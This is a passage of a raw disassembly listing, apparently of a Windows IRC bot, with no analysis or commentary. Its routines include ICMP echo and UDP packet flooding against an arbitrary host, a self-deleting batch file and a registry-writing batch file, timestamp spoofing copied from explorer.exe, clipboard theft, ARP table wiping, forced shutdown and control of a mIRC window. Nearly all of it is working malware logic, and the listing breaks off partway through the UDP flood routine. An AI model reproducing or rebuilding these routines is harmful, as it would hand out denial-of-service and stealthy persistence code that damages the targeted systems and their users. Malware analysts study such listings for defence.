sub_4095A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098D4 proc near ; CODE XREF: sub_40CD3A+BEFp
; sub_40CD3A+C20p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_40995F
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_40995F
cmp [ebp+arg_8], esi
jz short loc_40995F
cmp byte ptr [eax], 0
jz short loc_40995F
push ebx
push edi
call sub_42067A
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40995A
push [ebp+arg_4]
push edi
call sub_4158E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409953
sub eax, edi
push eax
push edi
push ebx
call sub_416BE0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_415B10
push eax
push [ebp+arg_8]
push ebx
call sub_416DB0
push [ebp+arg_4]
call sub_415B10
add eax, esi
push eax
push ebx
call sub_415A30
push ebx
push edi
call sub_415A20
add esp, 30h
mov esi, edi
loc_409953: ; CODE XREF: sub_4098D4+3Cj
push ebx
call sub_415C9B
pop ecx
loc_40995A: ; CODE XREF: sub_4098D4+2Bj
mov eax, esi
pop ebx
jmp short loc_409961
; ---------------------------------------------------------------------------
loc_40995F: ; CODE XREF: sub_4098D4+Cj
; sub_4098D4+13j ...
xor eax, eax
loc_409961: ; CODE XREF: sub_4098D4+89j
pop edi
pop esi
pop ebp
retn
sub_4098D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409965 proc near ; CODE XREF: sub_40CBBE+E9p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_415390
mov esi, [ebp+arg_0]
push esi
call sub_415B10
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_40999D
or eax, 0FFFFFFFFh
jmp short loc_409A04
; ---------------------------------------------------------------------------
loc_40999D: ; CODE XREF: sub_409965+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_4099BE
loc_4099A9: ; CODE XREF: sub_409965+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4099B6
cmp dl, 0Dh
jnz short loc_4099B9
loc_4099B6: ; CODE XREF: sub_409965+4Aj
mov [ecx+esi], bl
loc_4099B9: ; CODE XREF: sub_409965+4Fj
inc ecx
cmp ecx, eax
jl short loc_4099A9
loc_4099BE: ; CODE XREF: sub_409965+42j
xor edx, edx
cmp eax, ebx
jle short loc_4099E6
loc_4099C4: ; CODE XREF: sub_409965+7Fj
cmp [edx+esi], bl
jnz short loc_4099E1
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_4099E1
cmp edi, 1F4h
jge short loc_4099E6
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_4099E1: ; CODE XREF: sub_409965+62j
; sub_409965+6Aj
inc edx
cmp edx, eax
jl short loc_4099C4
loc_4099E6: ; CODE XREF: sub_409965+5Dj
; sub_409965+72j
cmp [ebp+arg_4], ebx
jz short loc_409A02
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4153F0
add esp, 0Ch
loc_409A02: ; CODE XREF: sub_409965+84j
mov eax, edi
loc_409A04: ; CODE XREF: sub_409965+36j
pop edi
pop esi
pop ebx
leave
retn
sub_409965 endp
; =============== S U B R O U T I N E =======================================
sub_409A09 proc near ; CODE XREF: sub_409A63+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_409A42
push ebx
mov ebx, edi
loc_409A26: ; CODE XREF: sub_409A09+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_409A45
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_409A26
pop ebx
loc_409A42: ; CODE XREF: sub_409A09+18j
pop edi
pop esi
retn
sub_409A09 endp
; =============== S U B R O U T I N E =======================================
sub_409A45 proc near ; CODE XREF: sub_409A09+25p
; sub_409A63+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_417033
cmp al, 61h
pop ecx
jl short loc_409A60
cmp al, 7Ah
jg short loc_409A60
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_409A60: ; CODE XREF: sub_409A45+Ej
; sub_409A45+12j
xor eax, eax
retn
sub_409A45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A63 proc near ; CODE XREF: sub_40B158+10p
; sub_40B18A+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_415B90
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_415B10
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_415B10
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_409A09
add esp, 14h
dec esi
mov edi, esi
jmp short loc_409B15
; ---------------------------------------------------------------------------
loc_409AA3: ; CODE XREF: sub_409A63+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417033
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_417033
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409B13
loc_409AC5: ; CODE XREF: sub_409A63+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_409A45
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_409AE6
mov eax, ecx
loc_409AE6: ; CODE XREF: sub_409A63+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_409B23
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417033
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_417033
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_409AC5
loc_409B13: ; CODE XREF: sub_409A63+60j
dec edi
dec esi
loc_409B15: ; CODE XREF: sub_409A63+3Ej
test esi, esi
jg short loc_409AA3
mov eax, [ebp+arg_0]
add eax, edi
loc_409B1E: ; CODE XREF: sub_409A63+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409B23: ; CODE XREF: sub_409A63+88j
xor eax, eax
jmp short loc_409B1E
sub_409A63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B27 proc near ; CODE XREF: sub_40CD3A+3AB4p
; sub_40CD3A+470Ap
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_421088 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_4210CC ; FormatMessageA
lea eax, [ebp+var_100]
loc_409B60: ; CODE XREF: sub_409B27+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_409B6C
cmp cl, 9
jnz short loc_409B6F
loc_409B6C: ; CODE XREF: sub_409B27+3Ej
inc eax
jmp short loc_409B60
; ---------------------------------------------------------------------------
loc_409B6F: ; CODE XREF: sub_409B27+43j
; sub_409B27+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_409B89
mov cl, [eax]
cmp cl, 2Eh
jz short loc_409B6F
cmp cl, 21h
jl short loc_409B6F
loc_409B89: ; CODE XREF: sub_409B27+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43CB50
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41588A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_409B27 endp
; =============== S U B R O U T I N E =======================================
sub_409BB1 proc near ; CODE XREF: sub_40CD3A+512Dp
push esi
push 0
call dword_43C9F4 ; OpenClipboard
test eax, eax
jz short loc_409BE8
push 1
call dword_43CA14 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_409BE8
push edi
push esi
call dword_4210D4 ; GlobalLock
push esi
mov edi, eax
call dword_4210D0 ; GlobalUnlock
call dword_43CA78 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_409BE8: ; CODE XREF: sub_409BB1+Bj
; sub_409BB1+19j
xor eax, eax
pop esi
retn
sub_409BB1 endp
; =============== S U B R O U T I N E =======================================
sub_409BEC proc near ; CODE XREF: sub_40CD3A+44B4p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43CA30 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_409C68
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4210E0 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4210DC ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_415316
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43CA80 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_43CA80 ; SendMessageA
push ebx
call dword_4210D8 ; UnmapViewOfFile
push edi
call dword_42106C ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_409C6A
; ---------------------------------------------------------------------------
loc_409C68: ; CODE XREF: sub_409BEC+16j
xor eax, eax
loc_409C6A: ; CODE XREF: sub_409BEC+7Aj
pop edi
pop esi
pop ebp
retn
sub_409BEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C6E proc near ; CODE XREF: sub_40C574+20Dp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43CADC ; SearchPathA
test eax, eax
jz short loc_409D0D
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_421078
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_409D0D
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4210E8 ; GetFileTime
push ebx
mov ebx, dword_42106C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409D0D
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4210E4 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_409D0D: ; CODE XREF: sub_409C6E+2Aj
; sub_409C6E+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_409C6E endp
; =============== S U B R O U T I N E =======================================
sub_409D12 proc near ; CODE XREF: sub_40CD3A+133Cp
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_413BE5
pop ecx
pop ecx
push 50005h
push 6
call dword_43C96C ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_409D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D34 proc near ; CODE XREF: sub_40BBF7+45Fp
; sub_40CD3A+53C9p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42C254, esi
push edi
jz short loc_409D58
cmp dword_43CAF0, esi
jnz short loc_409D58
push esi
call sub_40B2B9
pop ecx
loc_409D58: ; CODE XREF: sub_409D34+13j
; sub_409D34+1Bj
call sub_414F9D
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4210F8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_409EB8
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_421070 ; WriteFile
push edi
call dword_42106C ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_415390
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43B658
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4210C8 ; GetModuleHandleA
push eax
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_409E60
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4210F4 ; SetFileAttributesA
loc_409E60: ; CODE XREF: sub_409D34+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4210F0 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_4210EC ; CreateProcessA
loc_409EB8: ; CODE XREF: sub_409D34+72j
pop edi
pop esi
leave
retn
sub_409D34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409EBC proc near ; CODE XREF: sub_40C574+31p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_415B90
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCA_bat ; "c:\\a.bat"
push eax
movsb
call sub_415316
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short loc_409F76
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call dword_421070 ; WriteFile
push edi
call dword_42106C ; CloseHandle
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_415390
add esp, 0Ch
lea ecx, [ebp+var_58]
xor eax, eax
mov [ebp+var_48], edi
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
inc eax
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
mov [ebp+var_18], si
call dword_4210EC ; CreateProcessA
loc_409F76: ; CODE XREF: sub_409EBC+55j
pop edi
pop esi
leave
retn
sub_409EBC endp
; =============== S U B R O U T I N E =======================================
sub_409F7A proc near ; CODE XREF: sub_4013E8+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43CA64 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_409FA2
push [esp+arg_0]
call dword_43CAA8 ; gethostbyname
test eax, eax
jnz short loc_409F9B
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_409F9B: ; CODE XREF: sub_409F7A+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_409FA2: ; CODE XREF: sub_409F7A+Dj
retn
sub_409F7A endp
; =============== S U B R O U T I N E =======================================
sub_409FA3 proc near ; CODE XREF: sub_40CA58+D6p
mov ecx, dword_43C94C
xor eax, eax
test ecx, ecx
jz short locret_409FB1
jmp ecx
; ---------------------------------------------------------------------------
locret_409FB1: ; CODE XREF: sub_409FA3+Aj
retn
sub_409FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409FB2 proc near ; CODE XREF: sub_40CD3A:loc_411E19p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43CAA0 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40A039
sub ecx, 32h
jz loc_40A083
sub ecx, 48h
jz short loc_40A00E
sub ecx, 6Eh
jz short loc_40A007
loc_409FF0: ; CODE XREF: sub_409FB2+85j
push eax
lea eax, [ebp+var_88]
push offset unk_42B4B8
push eax
call sub_415316
add esp, 0Ch
jmp short loc_40A064
; ---------------------------------------------------------------------------
loc_40A007: ; CODE XREF: sub_409FB2+3Cj
push offset unk_42B47C
jmp short loc_40A056
; ---------------------------------------------------------------------------
loc_40A00E: ; CODE XREF: sub_409FB2+37j
push [ebp+var_8]
call sub_415BE9
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_415390
add esp, 10h
cmp esi, edi
jz short loc_40A051
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43CAA0 ; GetIpNetTable
cmp eax, edi
jnz short loc_409FF0
loc_40A039: ; CODE XREF: sub_409FB2+29j
cmp [esi], edi
jbe short loc_40A074
lea ebx, [esi+4]
loc_40A040: ; CODE XREF: sub_409FB2+9Bj
push ebx
call dword_43CA9C ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A040
jmp short loc_40A074
; ---------------------------------------------------------------------------
loc_40A051: ; CODE XREF: sub_409FB2+75j
push offset unk_42B438
loc_40A056: ; CODE XREF: sub_409FB2+5Aj
; sub_409FB2+D6j
lea eax, [ebp+var_88]
push eax
call sub_415316
pop ecx
pop ecx
loc_40A064: ; CODE XREF: sub_409FB2+53j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40B078
pop ecx
loc_40A074: ; CODE XREF: sub_409FB2+89j
; sub_409FB2+9Dj
push esi
call sub_415C9B
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A083: ; CODE XREF: sub_409FB2+2Ej
push offset unk_42B3F0
jmp short loc_40A056
sub_409FB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A08A proc near ; CODE XREF: sub_401444+231p
; sub_401BD4+253p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43C9C8 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43CD50
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_415316
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A08A endp
; =============== S U B R O U T I N E =======================================
sub_40A0E3 proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40A10E
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40A101: ; CODE XREF: sub_40A0E3+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40A101
pop edi
jmp short loc_40A112
; ---------------------------------------------------------------------------
loc_40A10E: ; CODE XREF: sub_40A0E3+Aj
mov esi, [esp+4+arg_0]
loc_40A112: ; CODE XREF: sub_40A0E3+29j
test ecx, ecx
jz short loc_40A11B
movzx eax, byte ptr [esi]
add edx, eax
loc_40A11B: ; CODE XREF: sub_40A0E3+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A0E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A133 proc near ; DATA XREF: sub_40CD3A+2CA8o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_43C9B0 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43CA64 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A18E
lea eax, [ebp+var_C0]
push eax
call dword_43CAA8 ; gethostbyname
cmp eax, ebx
jz short loc_40A194
loc_40A18E: ; CODE XREF: sub_40A133+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40A1F1
loc_40A194: ; CODE XREF: sub_40A133+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B53C
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A1D4
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412BD1
add esp, 14h
loc_40A1D4: ; CODE XREF: sub_40A133+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40B078
push [ebp+var_30]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_40A1F1: ; CODE XREF: sub_40A133+5Fj
cmp eax, ebx
jz short loc_40A201
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40A204
; ---------------------------------------------------------------------------
loc_40A201: ; CODE XREF: sub_40A133+C0j
mov [ebp+var_4], esi
loc_40A204: ; CODE XREF: sub_40A133+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_415390
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40A224
mov [ebp+var_3C], eax
loc_40A224: ; CODE XREF: sub_40A133+ECj
cmp [ebp+var_38], edi
jge short loc_40A22C
mov [ebp+var_38], edi
loc_40A22C: ; CODE XREF: sub_40A133+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40A259
loc_40A233: ; CODE XREF: sub_40A133+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43C948 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_40A233
loc_40A259: ; CODE XREF: sub_40A133+FEj
push [ebp+arg_0]
call dword_43CAD8 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B4FC
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A2A2
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412BD1
add esp, 14h
loc_40A2A2: ; CODE XREF: sub_40A133+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40B078
push [ebp+var_30]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40A133 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A2BF proc near ; DATA XREF: sub_40CD3A+2DE2o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
push 11h
push 2
push 2
call dword_43CAA4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43CA64 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40A3A4
lea eax, [ebp+var_B0]
push eax
call dword_43CAA8 ; gethostbyname
cmp eax, edi
jnz short loc_40A39D
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B5B8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A380
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412BD1
add esp, 14h
loc_40A380: ; CODE XREF: sub_40A2BF+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40B078
push [ebp+var_20]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40A39D: ; CODE XREF: sub_40A2BF+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40A3A7
; ---------------------------------------------------------------------------
loc_40A3A4: ; CODE XREF: sub_40A2BF+6Ej
lea eax, [ebp+arg_0]
loc_40A3A7: ; CODE XREF: sub_40A2BF+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40A3C2
call sub_415372
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40A3C5
; ---------------------------------------------------------------------------
loc_40A3C2: ; CODE XREF: sub_40A2BF+F0j
push [ebp+var_24]
loc_40A3C5: ; CODE XREF: sub_40A2BF+101j
call dword_43CA24 ; ntohs
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40A3D7
mov [ebp+var_24], esi
loc_40A3D7: ; CODE XREF: sub_40A2BF+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40A3E4
mov [ebp+var_24], eax
loc_40A3E4: ; CODE XREF: sub_40A2BF+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40A3F8
mov [ebp+var_28], esi
loc_40A3F8: ; CODE XREF: sub_40A2BF+134j
xor esi, esi
